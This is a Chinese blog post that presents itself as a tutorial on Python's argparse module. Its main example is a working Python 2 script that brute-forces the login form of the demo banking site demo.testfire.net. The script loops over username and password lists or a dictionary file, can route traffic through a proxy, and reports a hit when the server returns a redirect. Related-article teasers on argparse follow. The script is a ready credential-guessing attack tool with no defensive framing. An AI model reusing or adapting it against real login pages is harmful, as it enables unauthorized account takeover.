资讯专栏INFORMATION COLUMN

python argparse 的使用

Yumenokanata / 929人阅读

摘要:一简介是用于解析命令行参数和选项的标准模块,用于代替已经过时的模块。二使用步骤爆破成功爆破失败批量爆破测试版

一、简介:

argparse是python用于解析命令行参数和选项的标准模块,用于代替已经过时的optparse模块。argparse模块的作用是用于解析命令行参数,例如python parseTest.py input.txt output.txt --user=name --port=8080。

二、使用步骤:

1:import argparse

2:parser = argparse.ArgumentParser()

3:parser.add_argument()

4:parser.parse_args()

# -*- coding:utf-8 -*-


import argparse
import requests
import sys


def login(user, passwd, proxy):
    if proxy:
        proxy = {"http": proxy}
    print proxy
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0",
        "Referer": "http://demo.testfire.net/bank/login.aspx",
        "Upgrade-Insecure-Requests": "1",
        "Content-Type": "application/x-www-form-urlencoded",
    }

    data = {
        "uid": user,
        "passw": passwd,
        "btnSubmit": "Login"
    }
    if proxy:

        html = requests.post("http://demo.testfire.net/bank/login.aspx", proxies=proxy, headers=headers, data=data, allow_redirects=False, verify=False)
    else:
        html = requests.post("http://demo.testfire.net/bank/login.aspx", headers=headers, data=data, allow_redirects=False, verify=False)

    if html.status_code == 302:
        print u"[+] 爆破成功!!", user + "/" + passwd
    else:
        print u"[+] 爆破失败!!"





if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=u"[+]-----------------NO JS 批量爆破测试-python版-----------------[+]")
    parser.add_argument("-u", "--user", default=False, dest="user", help="specific one user")
    parser.add_argument("-p", "--password", default=False, dest="password", help="specific one password")
    parser.add_argument("-U", default=False, dest="User", help="specific a directory file of users")
    parser.add_argument("-P", default=False, dest="Password",help="specific a directory file of passwords")
    parser.add_argument("-D", "--dict", default=False, dest="dict",help="specific a dict file of users and passwords")
    # parser.add_option("-T", "--target", default=False, help="specific the target dvwa brute force url")
    parser.add_argument("--proxy", default=False, dest="proxy", help="use a http proxy")

    args = parser.parse_args()
    proxys = args.proxy

    if not ((args.user or args.User) and (args.password or args.Password)) and not args.dict:
        print parser.parse_args(["-h"])
        sys.exit()


    elif ((args.user or args.User) and (args.password or args.Password)) and args.dict:
        print parser.parse_args(["-h"])
        sys.exit()

    elif (args.user or args.User) and (args.password or args.Password):
        users = []

        if args.user:
            users.append(args.user)
        else:
            try:
                user = open(args.User, "r").readlines()
                for i in user:
                    users.append(i[:-1])
            except Exception, e:
                raise e

        passwords = []
        if args.password:
            passwords.append(args.password)
        else:
            try:
                password = open(args.Password, "r").readlines()
                for i in password:
                    passwords.append(i[:-1])
            except Exception, e:
                raise e

        for u in users:
            for p in passwords:
                print proxys
                login(u, p, proxys)


    elif args.dict:

        account_list = []
        try:
            account = open(args.dict, "r").readlines()
            for D in account:
                account_list.append(D)
        except Exception, e:
            raise e

        for D in account_list:
            #time2 = random.randint(2, 90)
            u = D.split(":")[0].strip()
            p = D.split(":")[1].strip()

            login(u, p, proxys)

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/44413.html

相关文章

  • python3 使用argparse更好组织输入参数

    摘要:问题与现状通常情况下,我们都会使用这样的手段来获取脚本的输入参数。 问题与现状 通常情况下,我们都会使用sys.argv[n]这样的手段来获取python脚本的输入参数。这样做的缺点如下:1 参数输入和获取必须严格按照顺序2 在获取参数的同时需要写一点额外的代码对输入参数进行简单的合法性检查3 在输入参数过多(通常情况下项目构建时入参很多,尤其是当各个脚本解耦充分的情况下)导致向其他函...

    yzzz 评论0 收藏0
  • Python详解argparse参数模块之命令行参数

      小编给大家写这篇文章的主要目的,就是给大家详细解答,python中的argparse参数模块的相关知识解答。  前言  help(argparse)查看说明文档,argparse-Command-line parsing library我们可以知道是一个命令行解析库,是关于参数解析相关的一个模块。  示例一:最简参数对象  先来一段简单的代码,快速熟知下这个参数是个啥。  保存为t.py这样一...

    89542767 评论0 收藏0
  • 搭建Pythonargv4种比较常见方式方法

      此篇文章主要是阐述了搭建Pythonargv的4种比较常见方式方法,文章内容紧扣主题进行详尽的基本介绍,具有很强的实用价值,务必的朋友可以学习一下。  序言  小伙伴们好,在平时的撰写Python脚本制作的过程当中,我们通常需要根据argv传到某些自变量主要参数,使新项目应用更加灵便便捷。  分别是:  内嵌sys.argv控制模块  内嵌argparse控制模块  内嵌getopt模块  第...

    89542767 评论0 收藏0
  • python实现命令行交互

    摘要:所以就只能使用实现脚本进行交互,和解耦合。使用的库和代码由于命令行执行之后,进程一直在运行,不停的出块,所以我将出块的内容写入到文件中。 背景: 最近因为工作需求在写自动化测试脚本,主要目的是测试代码功能的完整性,然而在使用SSHLibrary库进行远程SSH交互的时候总是出现问题,比如说遇到需要输入密码的交互,总是不能成功,还有遇到一直保持运行并实时输出的命令,也无法读取其中的输出。...

    zhangke3016 评论0 收藏0

发表评论

0条评论

最新活动
阅读需要支付1元查看
<